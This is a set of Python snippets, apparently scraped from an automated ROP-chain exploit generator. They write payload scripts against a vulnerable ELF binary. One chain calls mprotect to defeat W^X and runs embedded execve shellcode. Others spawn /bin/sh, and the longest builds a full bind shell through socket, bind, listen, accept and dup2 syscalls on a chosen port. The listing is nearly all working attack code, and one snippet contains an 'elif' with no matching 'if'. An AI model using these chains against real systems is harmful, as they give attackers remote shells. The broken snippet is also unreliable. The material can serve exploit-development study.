Exemple #1
0
def case2(GadgetList, data_section_addr):

    # Open the file where the payload is written in the form of a python script
    fd = open("mprotectROPChain.py", "w")
    chain.writeHeader(fd)

    # Step-2: Writing traditional shellcode into .data section
    shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

    # Write shellcode into .data section
    chain.WriteStuffIntoMemory(shellcode, data_section_addr, fd)

    # System call number of mprotect = 10
    # Step-1: rax <- 10
    chain.LoadConstIntoReg(GadgetList, "rax", 10, fd)

    # Step-3: rdi <- "Address of /bin//sh" - .data section's address

    # 0x6c9000 is where Writable section starts.
    chain.LoadConstIntoReg(GadgetList, "rdi", 0x6c9000, fd)

    # Step-4: rsi <- 100
    # Make the first 4096 * 3 bytes of Writable section executable.
    # .data section comes at an address 0x6ca980
    chain.LoadConstIntoReg(GadgetList, "rsi", 4096 * 3, fd)

    # Step-5: rdx <- 7
    # 7 - PROT_READ | PROT_WRITE | PROT_EXEC
    # The permissions to execute!
    chain.LoadConstIntoReg(GadgetList, "rdx", 7, fd)

    # At this point, .data section is executable

    # Get "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # The "ret" of "syscall; ret" should jump to .data section
    # That is why, put .data section's address onto stack@
    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(data_section_addr))
    fd.write(")")
    fd.write("\t\t# Address of .data section where shellcode is present")
    fd.write("\n\t")

    chain.writeFooter(fd)
    print("-->Written the complete payload in mprotectROPChain.py")
    print("-->Chaining successful!")
Exemple #2
0
def execveROPChain(GadgetList, vulnExecutable): 

    print("\n\n-->Chaining to get a shell using execve system call")

    fd = open(vulnExecutable, "rb")
    elffile = ELFFile(fd)
    data_section = ".data"
    section = elffile.get_section_by_name(data_section)
    
    # We need .data section's details because we have to write "/bin//sh" into it. 
    data_section_addr = section["sh_addr"]
    data_section_size = section["sh_size"]

    syscallList1 = categorize.checkIfSyscallPresent(GadgetList)
    intList = categorize.checkIfIntPresent(GadgetList)
    syscallList2 = get_gadgets.getSyscallList()

    if len(intList) == 0 and len(syscallList1) == 0 and len(syscallList2) == 0: 
        print("No int 0x80, no syscall, no ROP")
        print("Exiting tool :(")
        sys.exit()
    
    # There are 2 choices here: 
    
    # Choice - 1
    # if syscall is found, 
        # rax <- 59
        # rdi <- Address of "/bin/sh"
        # rsi <- 0
        # rdx <- 0
        # syscall
    
    if len(syscallList1) > 0 or len(syscallList2) > 0: 
        case2(GadgetList, data_section_addr)
        sys.exit()

    # Choice - 2
    # if int 0x80 is found, 
        # rax <- 11
        # rbx <- Address of "/bin/sh"
        # rcx <- 0
        # rdx <- 0
        # int 0x80
    elif len(intList) > 0: 
        case1(GadgetList, data_section_addr)
        sys.exit()

    # Choice-1 is always the priority. 
    # Reason: We have observed that number of gadgets related to rdi, rsi are way more than gadgets related to rbx, rcx. 

    print("--> No syscall / int 0x80 found => ROP Chaining failed")
    sys.exit()
Exemple #3
0
def execveROPChain(GadgetList, vulnExecutable):

    fd = open(vulnExecutable, "rb")
    elffile = ELFFile(fd)
    data_section = ".data"
    section = elffile.get_section_by_name(data_section)

    # We need .data section's details because we have to write "/bin//sh" into it.
    data_section_addr = section["sh_addr"]
    data_section_size = section["sh_size"]

    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    intList = categorize.checkIfIntPresent(GadgetList)

    if len(intList) == 0 and len(syscallList) == 0:
        print("No int 0x80, no syscall, no ROP")
        print("Exiting tool :(")
        sys.exit()

    # This is what we have to do:

    # if int 0x80 is found,
    # rax <- 11
    # rbx <- Address of "/bin/sh"
    # rcx <- 0
    # rdx <- 0
    # int 0x80

    # if syscall is found,
    # rax <- 59
    # rdi <- Address of "/bin/sh"
    # rsi <- 0
    # rdx <- 0
    # syscall

    # Always choose int 0x80 over syscall if int 0x80 is present because registers used are common ones and eax should be set to 11.

    # Will always go for int 0x80(if present) because rax should be incremented only 11 times for execve()
    elif len(intList) > 0:
        payload = case1(GadgetList)
        return payload

    if len(syscallList) > 0:
        payload = case1(GadgetList)
        return payload

    print(
        "If this is getting printed, it means there are no special instructions found. So, you know what this means!"
    )
Exemple #4
0
def mprotectROPChain(GadgetList, vulnExecutable):

    print("\n\n-->Chaining gadgets to execute mprotect system call")
    print("-->Is called to make .data section executable")
    print("-->Defeating W^X")

    fd = open(vulnExecutable, "rb")
    elffile = ELFFile(fd)
    data_section = ".data"
    section = elffile.get_section_by_name(data_section)

    # We need .data section's details because we have to write "/bin//sh" into it.
    data_section_addr = section["sh_addr"]
    data_section_size = section["sh_size"]

    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    intList = categorize.checkIfIntPresent(GadgetList)

    if len(intList) == 0 and len(syscallList) == 0:
        print("No int 0x80, no syscall, no ROP")
        print("Exiting tool :(")
        sys.exit()

    # There are 2 choices here:

    # Choice - 1
    # if syscall is found,
    # rax <- 59
    # rdi <- Address of "/bin/sh"
    # rsi <- 0
    # rdx <- 0
    # syscall
    if len(syscallList) > 0:
        case2(GadgetList, data_section_addr)
        sys.exit()

    # Choice - 2
    # if int 0x80 is found,
    # rax <- 11
    # rbx <- Address of "/bin/sh"
    # rcx <- 0
    # rdx <- 0
    # int 0x80
    elif len(intList) > 0:
        case1(GadgetList, data_section_addr)
        sys.exit()

    print("--> No syscall / int 0x80 found => ROP Chaining failed")
    sys.exit()
Exemple #5
0
def case2(GadgetList, data_section_addr) : 

    # Open the file where the payload is written in the form of a python script
    fd = open("execveROPChain.py", "w")
    chain.writeHeader(fd)
    
    # Step-2: Writing "/bin//sh" into .data section
    binsh = 0x68732f2f6e69622f
    binsh = struct.pack('<Q', binsh)
    chain.WriteStuffIntoMemory(binsh, data_section_addr, fd)
 
    # Step-1: rax <- 59
    chain.LoadConstIntoReg(GadgetList, "rax", 59, fd)

	# Step-3: rdi <- "Address of /bin//sh" - .data section's address
    chain.LoadConstIntoReg(GadgetList, "rdi", data_section_addr, fd)

	# Step-4: rsi <- 0
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Step-5: rdx <- 0
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)


    # Get syscall
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    if len(syscallList) == 0: 
        syscallList = get_gadgets.getSyscallList()
        syscallAddress = syscallList[0][0]
    
    else : 
        syscallGadget = syscallList[0]
        syscallDict = syscallGadget[0]
        syscallAddress = syscallDict['address']
    
    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    
    chain.writeFooter(fd)
    print("-->Written the complete payload in execveROPChain.py")
    print("-->Chaining successful!")
Exemple #6
0
def bindshellROPChain(GadgetList, vulnExecutable):

    print("\n\n-->Chaining to get a shell using execve system call")

    fd = open(vulnExecutable, "rb")
    elffile = ELFFile(fd)
    data_section = ".data"
    section = elffile.get_section_by_name(data_section)

    # We need .data section's details because we have to write "/bin//sh" into it.
    data_section_addr = section["sh_addr"]
    data_section_size = section["sh_size"]

    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    intList = categorize.checkIfIntPresent(GadgetList)

    if len(intList) == 0 and len(syscallList) == 0:
        print("No int 0x80, no syscall, no ROP")
        print("Exiting tool :(")
        sys.exit()

    if len(syscallList) > 0:
        exploit(GadgetList, data_section_addr)
        sys.exit()
Exemple #7
0
def exploit(GadgetList, data_section_addr):

    # Open the file where payload will be written in the form of a python script
    fd = open("bindshellROPChain.py", "w")
    chain.writeHeader(fd)

    # ip_addr = str(input("Enter IP Address: "))
    port = int(input("Enter port Number: "))

    # sin_family = AF_INET
    # Refering to /usr/include/bits/socket.h for value of AF_INET
    # AF_INET = 2

    sockaddr = b''
    sockaddr += b'\x02\x00'  # AF_INET = 2
    sockaddr += struct.pack('<H', socket.htons(port))  # htons(port)
    sockaddr += socket.inet_pton(socket.AF_INET,
                                 "0.0.0.0")  #  inet_pton(AF_INET, ip_addr)
    sockaddr += struct.pack('<Q', 0)  # sin_zero - 8 zeros

    # sockaddr structure ready

    # Writing sockaddr structure onto .data section
    chain.WriteStuffIntoMemory(sockaddr, data_section_addr, fd)

    # Execute socket() system call
    # Note: rax will have the file descriptor of the new socket

    # socket's system call number = 41
    chain.LoadConstIntoReg(GadgetList, "rax", 41, fd)

    # rdi <- AF_INET
    # rdi <- 2
    # Refer to /usr/include/bits/socket.h for value
    chain.LoadConstIntoReg(GadgetList, "rdi", 2, fd)

    # rsi <- SOCK_STREAM
    # rsi <- 1
    # Refer to /usr/include/bits/socket_type.h for valule
    chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd)

    # rdx <- 0
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # If socket() is successful, rax will have file descriptor
    # Should somehow load it into rdi
    # rdi <- rax
    # How?
    # Should search for a "xchg rax, rdi" or "xchg rdi, rax" or "xchg edi, eax" or "xchg eax, edi"

    xchgList = categorize.queryGadgets(GadgetList, general.XCHANGE, "rdi")
    xchgList += categorize.queryGadgets(GadgetList, general.XCHANGE, "edi")

    xchgAD = dict()

    if len(xchgList) > 0:

        for List in xchgList:
            gadget = List[0]

            if (("rax" in gadget['operands'] and "rdi" in gadget['operands'])
                    or
                ("eax" in gadget['operands'] and "edi" in gadget['operands'])):
                xchgAD = gadget
                break

    if len(xchgAD) == 0:
        print(
            "No xchg gadgets found to load value of rax into rdi. so, Exploit fail!"
        )
        sys.exit()

    # Execute xchg between rdi and rax => rdi has socket's file descriptor now.
    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(xchgAD['address'])))
    fd.write(")")
    fd.write("\t\t# Address of xchg Reg1, Reg2; ret")
    fd.write("\n\t")

    # Step-6: Execute bind() system call
    # bind(rdi, data_section_addr, 16)

    # rax <- 49
    # bind's system call number = 49
    chain.LoadConstIntoReg(GadgetList, "rax", 49, fd)

    # rdi <- file descriptor - already there

    # rsi <- data_section_addr
    chain.LoadConstIntoReg(GadgetList, "rsi", data_section_addr, fd)

    # rdx <- 16
    chain.LoadConstIntoReg(GadgetList, "rdx", 16, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Assuming bind() is successful, we will continue

    # Step-7: listen(rdi, 0)

    # Load listen's system call number
    chain.LoadConstIntoReg(GadgetList, "rax", 50, fd)

    # rdi <- file descriptor - already there

    # rsi <- 0
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Listen done.

    # Step-8: accept(rdi, 0, 0) system call

    # Load accept()'s system call number
    chain.LoadConstIntoReg(GadgetList, "rax", 43, fd)

    # rdi is set.

    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Now, accept() is waiting for connections.

    # Suppose I get connected, a new socket is created with file descriptor in rax. That should be loaded into rdi again.
    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(xchgAD['address'])))
    fd.write(")")
    fd.write("\t\t# Address of xchg Reg1, Reg2; ret")
    fd.write("\n\t")

    # Redirect stdin, stdout, stderr to that new socket using dup2() system call
    # dup2(rdi, 0)

    chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)

    # stdin
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # stdout
    chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)

    chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # stderr
    chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)

    chain.LoadConstIntoReg(GadgetList, "rsi", 2, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Now, all redirection is done.

    # Let us spawn a shell - refer execveChain.py

    binsh = 0x68732f2f6e69622f
    # binsh = 0x6873000000000000
    binsh = struct.pack('<Q', binsh)
    binsh = b'/bin/bash'
    # print(binsh)
    chain.WriteStuffIntoMemory(binsh, data_section_addr + 20, fd)

    # Step-1: rax <- 59
    chain.LoadConstIntoReg(GadgetList, "rax", 59, fd)

    # Step-3: rdi <- "Address of /bin//sh" - .data section's address
    chain.LoadConstIntoReg(GadgetList, "rdi", data_section_addr + 20, fd)

    # Step-4: rsi <- 0
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Step-5: rdx <- 0
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)

    # Get syscall
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    chain.writeFooter(fd)
    print("-->Written the complete payload in bindshellROPChain.py")
    print("-->Chaining successful!")